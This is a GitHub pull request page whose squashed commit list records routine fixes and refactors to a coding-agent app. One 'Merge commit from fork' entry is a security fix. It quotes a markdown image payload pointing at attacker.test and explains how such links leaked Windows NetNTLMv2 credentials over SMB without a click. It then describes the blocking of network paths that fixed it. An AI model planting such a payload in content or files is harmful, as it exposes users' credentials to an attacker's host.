* refactor(web): the add environment dialog owns its form state (pingdotgg#22686)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(desktop): use Clerk's upstream fix for abandoned browser sign-ins (pingdotgg#23038)

* feat: show automation messages as compact timeline rows (pingdotgg#22638)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* feat(server,web,mobile): approvals in full access say why Claude asked (pingdotgg#22546)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* feat(claude): idle compaction has a global default and per-instance overrides (pingdotgg#23037)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* perf(web): typing no longer re-renders the traits picker or attach button (pingdotgg#23040)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the composer's layout and provider hooks live in their own files (pingdotgg#23042)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the prompt stash lives in useComposerStash (pingdotgg#23046)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): composer context imports live in useComposerContextImport (pingdotgg#23048)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): composer file intake lives in useComposerAttachmentIntake (pingdotgg#23049)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the composer's footer controls render in ComposerControlsBar (pingdotgg#23058)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): composer key handling lives in useComposerCommandKey (pingdotgg#23060)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's send paths live in useComposerSend (pingdotgg#23062)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's terminal actions live in useChatTerminalActions (pingdotgg#23063)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's right panel actions live in useRightPanelActions (pingdotgg#23064)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's snooze, settle, and checkout actions live in useThreadLifecycle (pingdotgg#23065)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's revert, rollback, and fork live in useTimelineRewind (pingdotgg#23066)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's attachment preview handoff lives in useAttachmentPreviewHandoff (pingdotgg#23067)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's project clone banner lives in useProjectCloneBanner (pingdotgg#23068)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's model, mode, and workspace choices live in useComposerSelection (pingdotgg#23069)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's pull request checkout lives in usePullRequestDraftThread (pingdotgg#23070)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's thread derivations are tested functions in ChatView.logic (pingdotgg#23071)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's paste-to-focus, titlebar controls, and timeline overlays move out (pingdotgg#23072)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(cursor): a closed-stream write in the Cursor SDK no longer stops the server (pingdotgg#22897)

Co-authored-by: MarMarLabs <marmar9615@icloud.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): Codex no longer offers a one-click update for installs it can't detect (pingdotgg#22504)

* fix(pi): declare properties on MCP tool schemas that omit them (pingdotgg#21822)

Co-authored-by: Claude Sonnet 5.5 <noreply@anthropic.com>

* fix(server): a desktop backend whose launcher died shuts down cleanly instead of crashing (pingdotgg#22471)

* fix(mobile): chat feed no longer re-derives on every render (pingdotgg#22913)

Co-authored-by: flamboh <oliver.boorstein@gmail.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* docs(user): the outside agents guide says which addresses agents can sign in over (pingdotgg#22377)

Co-authored-by: Claude Sonnet 5.5 <noreply@anthropic.com>

* fix(server): HTML preview reports a browser start error instead of an internal error (pingdotgg#22895)

Co-authored-by: ScottN-PV <snorteman@gmail.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(tailscale): a timed-out tailscale probe no longer outlives its call (pingdotgg#22900)

Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* docs(composer): queued messages follow the Follow-up behavior setting (pingdotgg#22857)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): failed provider updates say why (pingdotgg#22506)

* test(telemetry): keep fixture PIDs from colliding with the test worker (pingdotgg#21446)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): server tests resolve the macOS temp dir symlink (pingdotgg#21442)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(scripts): mobile lint fails instead of passing when ktlint or detekt is missing (pingdotgg#22896)

Co-authored-by: Shubh <shubh@shubhxho.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): t3_thread_read clamps oversized page sizes instead of failing (pingdotgg#22901)

Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: grey-tsosie <45133231+grey-tsosie@users.noreply.github.com>

* fix(mobile): opening a pull request no longer crashes with "Maximum update depth exceeded" (pingdotgg#22600)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): PR Code tab keeps its files after a refresh with an unchanged diff (pingdotgg#22917)

Co-authored-by: Rodrigo Brechard <rodrigo@clubtidy.fr>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): finished provider updates no longer leave a hidden spinner in the sidebar (pingdotgg#22912)

Co-authored-by: 1kuna <47035140+1kuna@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(composer): mentions of files like `posts.$postId.tsx` or `[id].tsx` stay chips (pingdotgg#22922)

Co-authored-by: Victor Vogel <satsdev@only21mil.xyz>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): resuming an interrupted run lives in its own hook (pingdotgg#23087)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): proposed-plan follow-ups and implement-in-new-thread live in their own hooks (pingdotgg#23091)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): multiple-model sends live in their own hook (pingdotgg#23094)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the composer send reads its own settings and draft instead of taking them from ChatView (pingdotgg#23095)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ComposerControlsBar renders without a memo() wrapper (pingdotgg#23093)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): chat shortcuts live with the hooks that own their actions (pingdotgg#23097)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's timeline banners render in ChatBannerLane (pingdotgg#23101)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): the branch toolbar and thread details panel stay cached while a reply streams (pingdotgg#23103)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): scheduled tasks no longer jump to the top when toggled (pingdotgg#22899)

Co-authored-by: Victor Vogel <satsdev@only21mil.xyz>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): Forgejo and GitCafe pull requests link to their threads again (pingdotgg#22937)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): pushes the remote refuses say why instead of a generic failure (pingdotgg#22904)

Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(composer): typing a price no longer opens the skill menu (pingdotgg#21519)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): thread details PR merge uses the last selected merge method (pingdotgg#22399)

* fix(web): a Usage toggle shortcut now goes back instead of staying on Usage (pingdotgg#22905)

Co-authored-by: Victor Vogel <satsdev@only21mil.xyz>
Co-authored-by: GPT-6.1 Sol <noreply@openai.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): quote comment box stays on screen for long code lines (pingdotgg#22149)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): right panel launcher letters open their surface instead of typing into the composer (pingdotgg#22898)

Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): ../ file links outside the workspace open as host files (pingdotgg#22853)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(shared): recognize relative folder links with trailing slash (pingdotgg#22188)

Co-authored-by: macodev00 <macodev00@users.noreply.github.com>

* fix(client): usage limits skip disabled connections (pingdotgg#22936)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): imported VS Code themes keep destructive buttons red (pingdotgg#21924)

* fix(shared): Azure DevOps repositories with a space in the name list their pull requests (pingdotgg#22782)

* fix(opencode): cancelled todos no longer keep the todo list running (pingdotgg#22938)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): copy to machine clones the fork, not its upstream (pingdotgg#22492)

* fix(server): JetBrains IDEs open file links at the right column (pingdotgg#22826)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): sync pull request draft status changes (pingdotgg#22832)

* test(web): chat shortcut test types through the composer handle (pingdotgg#23126)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* Merge commit from fork

A markdown image such as ![x](file://attacker.test/share/cat.jpg), or a raw
\\host\share path, was classified as a host file. Rendering it asked the
server for a signed asset URL, and the server's realpath on the resulting UNC
path made Windows open an SMB session and send the user's NetNTLMv2 response
to the attacker's host, with no click and no tool call. File-link chips did
the same through filesystem.getMetadata, which stats every absolute path, and
storage cleanup stats the store paths in a worktree's pnpm manifest, which an
agent can write.

Network paths (two leading separators, as Windows reads them: \\h, //h, /\h)
now only resolve inside the thread's project, so projects on a share keep
working:

- clients block them in markdown images and stop treating them as file links
- the web stops asking for their metadata
- the server refuses them for media assets and file reads outside the
  project, never stats one for metadata, and storage cleanup ignores a pnpm
  manifest that names one
- each check hands the filesystem the resolved path it approved, since
  Windows reads a `\\?\` path as written, `..` included

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(source-control): merge messages drop Claude Code's current claude.com footer (pingdotgg#23133)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(build): pin Node 26.12.1 for development and standalone releases (pingdotgg#23165)

* fix(mobile): keep Duo toolbar actions clear of workspace tabs (pingdotgg#22976)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): respect Duo safe areas in overlays (pingdotgg#22977)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): retain resting scroll offsets through Duo inset changes (pingdotgg#22978)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): deliver the first tab selection after Duo folding (pingdotgg#22979)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): use native full-width sheets on iPhone Duo (pingdotgg#22980)

Co-authored-by: Pixel Perfect <me@pixp.cc>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): the pull requests tab's empty detail asks for a pull request (pingdotgg#23143)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): the iPhone Duo keeps list titles through folds and unfolds with its sidebar (pingdotgg#23144)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): the iPhone Duo searches from a field at the bottom of its list (pingdotgg#23145)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): a closed search no longer risks freezing the app (pingdotgg#23146)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): folding the Duo keeps the thread's end or the reader's line in place (pingdotgg#23147)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): the iPhone Duo's search field and composer line up with its tab bar (pingdotgg#23148)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): Screens 5.0.0-t3.36 stops an iPhone Duo unfold crash (pingdotgg#23149)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): the iPhone Duo's inspector panes use the full column (pingdotgg#23150)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(gitcafe): show line counts on linked and listed pull requests (pingdotgg#22633)

* docs(import): correct conversation size and batch limits (pingdotgg#23226)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): stop abandoned turns before continuing threads (pingdotgg#23169)

* feat(server): export how long runs take and how they end (pingdotgg#22094)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): new-thread heading clears the iPad header (pingdotgg#23206)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(pi): fork completed turns while the next turn is running (pingdotgg#23052)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): drafts swipe to discard and every row move animates (pingdotgg#23205)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* feat(server): webhook filters fan out over arrays with a [] path wildcard (pingdotgg#23282)

Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>

* fix(web): Arabic and Hebrew text reads and navigates right to left (pingdotgg#22777)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(client-runtime): refresh Git refs when the RPC session changes (pingdotgg#23314)

* fix(web): cap list layout passes to prevent React error 185 (pingdotgg#23315)

* fix(mobile): align iPad composer without shifting on keyboard focus (pingdotgg#23355)

* feat(gitcafe): request reviewers and apply labels on GitCafe pull requests (pingdotgg#23034)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(source-control): clones retry over HTTPS when the SSH key is refused (pingdotgg#23170)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): the iOS composer reopens where you left a long draft (pingdotgg#23096)

Co-authored-by: Vishal <vishalprashantdoshi@gmail.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: PR Batch Tester <agent@local.test>
Co-authored-by: Vishal Doshi <vdoshi96@users.noreply.github.com>

* fix(mobile): preserve new-thread drafts and native header layout (pingdotgg#23366)

* feat: ChatGPT Business usage limits offer a copyable admin request (pingdotgg#23361)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): paused sidebar videos stop reloading after every command (pingdotgg#23106)

Co-authored-by: PR Batch Tester <agent@local.test>
Co-authored-by: Nikita Maximilian Grimm <github@nikitagrimm.de>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* chore(typecheck): typescript is the tsc-rs drop-in, no effect-tsgo patch (pingdotgg#23023)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): Dynamic Island status no longer wraps next to other Live Activities (pingdotgg#23327)

Fixes pingdotgg#15682. Takes over pingdotgg#23035.

Co-authored-by: Taylor Dolezal <onlydole@users.noreply.github.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* perf(web): streamed reply text no longer re-renders ChatView (pingdotgg#23117)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* perf(web): visit marks during a reply no longer re-render ChatView (pingdotgg#23124)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): a Claude agent stops when the server that started it dies (pingdotgg#23389)

Co-authored-by: PR Batch Tester <agent@local.test>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): SSH hosts no longer keep every old 300 MB runtime after desktop updates (pingdotgg#23113)

Co-authored-by: PR Batch Tester <agent@local.test>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(settings): older clients connect again after idle compaction modes (pingdotgg#23454)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): unify draft and thread navigation and composer behavior (pingdotgg#23467)

* ci: setup survives npm registry outages (pingdotgg#23582)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* feat(web,mobile): messages from other agents fold into one-line rows (pingdotgg#23135)

Co-authored-by: PR Batch Tester <agent@local.test>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): subagent bar keeps model and status readable in narrow chat columns (pingdotgg#23502)

Co-authored-by: PR Batch Tester <agent@local.test>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(chat): mark tool images beyond the preview limit (pingdotgg#23595)

Co-authored-by: GPT-6.1 Sol <noreply@openai.com>

* fix(web): provider updates no longer pop toasts on launch (pingdotgg#23233)

* fix(server): probe the Windows startup environment asynchronously (pingdotgg#21720)

* fix(usage): count initial Codex requests with inherited totals (pingdotgg#23729)

* chore(mobile): bump app version to 2.1.0

Co-authored-by: codex <codex@users.noreply.github.com>

* fix(web): let toast content use the full accordion width (pingdotgg#23777)

* fix(web): sidebar follows the active thread after history navigation (pingdotgg#23519)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): keep subagent transcript updates off shell stream (pingdotgg#23783)

* fix(deps): pin all patched package versions (pingdotgg#23798)

* docs: document the GitCafe mirror and refresh the dev setup (pingdotgg#23808)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix: no more em dashes in product copy (pingdotgg#23799)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* chore(release): prepare v0.1.2

* chore(mobile): bump Clerk Expo SDKs to the new native client sync (pingdotgg#23047)

Co-authored-by: Julius Marminge <julius0216@outlook.com>
Co-authored-by: Claude Haiku 5.5 <noreply@anthropic.com>

* fix(mobile): capture folded and unfolded Duo store screenshots (pingdotgg#23849)

* fix(server): preserve typed requirements as the RPC group grows (pingdotgg#23813)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): wake PR watches when no checks report (pingdotgg#23863)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): resume Codex parents after native children finish (pingdotgg#23840)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(gitcafe): authored lists, merge progress, and author reviews match git.cafe (pingdotgg#23887)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(forgejo): merges follow the repository's delete-branch setting (pingdotgg#23471)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): keep PR check counts in sync (pingdotgg#23548)

* fix(server): speed up shell snapshots on large databases (pingdotgg#23751)

Co-authored-by: Julius Marminge <julius0216@outlook.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): keep managed Codex token renewal in the server (pingdotgg#21786)

* fix(server): renew active managed Codex turns through native auth (pingdotgg#21787)

* feat(web): telemetry export settings show where the running endpoint came from (pingdotgg#23713)

Co-authored-by: Julius Marminge <julius0216@outlook.com>
Signed-off-by: Yordis Prieto <yordis.prieto@gmail.com>

* fix(ui): preserve tool icon detail in light mode (pingdotgg#23896)

* fix(mcp): accept GitCafe pull request URLs in link/unlink/watch tools (pingdotgg#23899)

Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>

* feat(settings): add thread title instructions (pingdotgg#21882)

Co-authored-by: Yash Singh <saiansh2525@gmail.com>

* fix(mobile): undo toasts keep their action on one row (pingdotgg#23910)

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* docs(connect): correct the relay webhook endpoint key (pingdotgg#23526)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): center Android composer text and pad wrapped drafts (pingdotgg#23829)

* fix(server): wake PR watches when remaining CI checks finish (pingdotgg#23904)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mobile): the empty composer row shows only the provider icon (pingdotgg#23570)

* fix(server): route SQLite reads around writer contention (pingdotgg#23902)

* fix(claude): route approval feedback to the requesting agent (pingdotgg#23657)

* fix(web): align pull request file counts with diff stats (pingdotgg#23905)

* fix(web): task durations over an hour no longer wrap in the tasks panel (pingdotgg#13472)

Co-authored-by: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Co-authored-by: Julius Marminge <51714798+juliusmarminge@users.noreply.github.com>
Co-authored-by: Julius Marminge <julius0216@outlook.com>

* fix(server): preserve Codex sign-in guidance in usage notices (pingdotgg#17055)

Co-authored-by: Codex (gpt-6-astra) <noreply@openai.com>
Co-authored-by: Julius Marminge <51714798+juliusmarminge@users.noreply.github.com>

* fix(server): restore Claude subscription usage through proxies (pingdotgg#12069)

Co-authored-by: Julius Marminge <51714798+juliusmarminge@users.noreply.github.com>

* fix(server): Forgejo skipped jobs no longer keep a pull request watch pending (pingdotgg#16668)

Co-authored-by: Julius Marminge <51714798+juliusmarminge@users.noreply.github.com>
Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>

* fix(mobile): move Android undo toasts above bottom navigation (pingdotgg#23928)

* perf(server): skip unused Git output line parsing (pingdotgg#23953)

Co-authored-by: Jet <jet@extremist.software>
Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>

* fix(server): abort interrupted ACP MCP fetches (pingdotgg#23955)

Co-authored-by: kiiwee <6160452+kiiwee@users.noreply.github.com>
Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>

* fix(web): new threads no longer hang when a project's machine is offline (pingdotgg#23967)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(pi): stop blank input placeholders from failing the run (pingdotgg#23235)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(cursor): fail turns that end in a transport error after commentary (pingdotgg#23273)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* test(forgejo): answer the base branch read in the skipped-checks test (pingdotgg#23952)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(opencode): retry failed model catalogs until they recover (pingdotgg#23939)

* fix(server): avoid full shell read on resume (pingdotgg#23987)

* test: delete low-value tests and dead test-only exports (pingdotgg#24058)

* test(server): restore DST scheduling tests deleted in the test snap (pingdotgg#23991)

* test(web): restore project settings permission tests deleted in the test snap (pingdotgg#24011)

* test(mobile): restore clipboard secret-redaction test deleted in the test snap (pingdotgg#23980)

* fix(web): Cmd+B toggles the sidebar unless text is selected (pingdotgg#24063)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): agent-browser and Chrome no longer outlive the agent that started them (pingdotgg#21299)

Co-authored-by: Julius Marminge <julius0216@outlook.com>
Co-authored-by: Theo Browne <me@theo.li>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* test(client-runtime): restore render scheduler tests deleted in the test snap (pingdotgg#23977)

* fix(web): cmd+k search hides subagents and favors recent, whole-word matches (pingdotgg#24032)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* test(lint): new polling loops in tests now fail lint (pingdotgg#23983)

* ci: unused dependency patches fail in check:changed, not after push (pingdotgg#23988)

* fix(desktop): PDFs in the preview can be annotated (pingdotgg#24022)

Co-authored-by: PR Batch Tester <agent@local.test>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): instructed compact runs without a bare compaction first (pingdotgg#24008)

Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com>
Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>

* fix(desktop): reduce app crashes when a preview tab's renderer dies during agent screenshots (pingdotgg#24056)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): Stop stops a thread's subagents again (pingdotgg#23886)

Co-authored-by: PR Batch Tester <agent@local.test>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(desktop): a stuck quit no longer leaves the app unkillable (pingdotgg#23873)

Co-authored-by: PR Batch Tester <agent@local.test>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

---------

Signed-off-by: Yordis Prieto <yordis.prieto@gmail.com>
Co-authored-by: Julius Marminge <julius0216@outlook.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Theo Browne <me@t3.gg>
Co-authored-by: ishaanko <ishaanko.mail@gmail.com>
Co-authored-by: Yash Singh <saiansh2525@gmail.com>
Co-authored-by: Lakshmi Tanmay <lakshmi@voltcrash.com>
Co-authored-by: Victor Vogel <satsdev@only21mil.xyz>
Co-authored-by: GPT-6.1 Sol <noreply@openai.com>
Co-authored-by: Igor Makowski <56691628+Mnigos@users.noreply.github.com>
Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com>
Co-authored-by: project516 <138796702+Project516@users.noreply.github.com>
Co-authored-by: steve-ai-vibe <steve.ai.vibe@gmail.com>
Co-authored-by: Dara Adedeji <76637177+SunkenInTime@users.noreply.github.com>
Co-authored-by: sheehanmunim <80079528+sheehanmunim@users.noreply.github.com>
Co-authored-by: Robert Soriano <sorianorobertc@gmail.com>
Co-authored-by: MarMarLabs <marmar9615@icloud.com>
Co-authored-by: Koushik_xd <122906171+koushikxd@users.noreply.github.com>
Co-authored-by: Taissa <202353633+tlconde@users.noreply.github.com>
Co-authored-by: flamboh <oliver.boorstein@gmail.com>
Co-authored-by: Gourav Kumar Dhiman <gkrdhiman@gmail.com>
Co-authored-by: ScottN-PV <snorteman@gmail.com>
Co-authored-by: tatsuaki watanabe <tatsuaki.w@gmail.com>
Co-authored-by: Shubh <shubh@shubhxho.com>
Co-authored-by: grey-tsosie <45133231+grey-tsosie@users.noreply.github.com>
Co-authored-by: Rodrigo Brechard <rodrigo@clubtidy.fr>
Co-authored-by: 1kuna <47035140+1kuna@users.noreply.github.com>
Co-authored-by: MarcoDotIO <Marcus.Arnett10@gmail.com>
Co-authored-by: Tristan Knight <admin@snappeh.com>
Co-authored-by: Etan Heyman <93338119+EtanHey@users.noreply.github.com>
Co-authored-by: maco <gosarmarcel7@gmail.com>
Co-authored-by: macodev00 <macodev00@users.noreply.github.com>
Co-authored-by: M4NU5 <31220123+M4NU5@users.noreply.github.com>
Co-authored-by: Louis Gollut <louis.gollut@proton.me>
Co-authored-by: Pavel Kroupa <63880977+Tabonx@users.noreply.github.com>
Co-authored-by: AKolenda <akole779@mtroyal.ca>
Co-authored-by: Lev Poznyakov <62802017+levochkaa@users.noreply.github.com>
Co-authored-by: Alex <me@pixp.cc>
Co-authored-by: maria <maria@kuuro.net>
Co-authored-by: يزن حمزه <yznhamzeh@gmail.com>
Co-authored-by: shivam <91240327+shivamhwp@users.noreply.github.com>
Co-authored-by: Vishal <vishalprashantdoshi@gmail.com>
Co-authored-by: PR Batch Tester <agent@local.test>
Co-authored-by: Vishal Doshi <vdoshi96@users.noreply.github.com>
Co-authored-by: Nikita Maximilian Grimm <github@nikitagrimm.de>
Co-authored-by: Taylor Dolezal <onlydole@users.noreply.github.com>
Co-authored-by: oliver <97427849+flamboh@users.noreply.github.com>
Co-authored-by: Utkarsh Patil <73941998+UtkarshUsername@users.noreply.github.com>
Co-authored-by: t3-code[bot] <269035359+t3-code[bot]@users.noreply.github.com>
Co-authored-by: codex <codex@users.noreply.github.com>
Co-authored-by: Yordis Prieto <yordis.prieto@gmail.com>
Co-authored-by: Caden Elrod <76628548+CadenEl@users.noreply.github.com>
Co-authored-by: Alex Southwell <saphid@gmail.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: James Villarrubia <8172873+jamesvillarrubia@users.noreply.github.com>
Co-authored-by: Julius Marminge <51714798+juliusmarminge@users.noreply.github.com>
Co-authored-by: 洁月星 <jieyuexing@outlook.com>
Co-authored-by: Nand <nand@rizvanolli.com>
Co-authored-by: Jet <jet@extremist.software>
Co-authored-by: kiiwee <6160452+kiiwee@users.noreply.github.com>
Co-authored-by: Joseph Vidal <135430578+josephv123@users.noreply.github.com>
Co-authored-by: Theo Browne <me@theo.li>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

size:M 30-99 changed lines (additions + deletions). vouch:unvouched PR author is not yet trusted in the VOUCHED list.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[Bug]: iOS Live Activity compact status text wraps onto two lines when another Live Activity shares the Dynamic Island

3 participants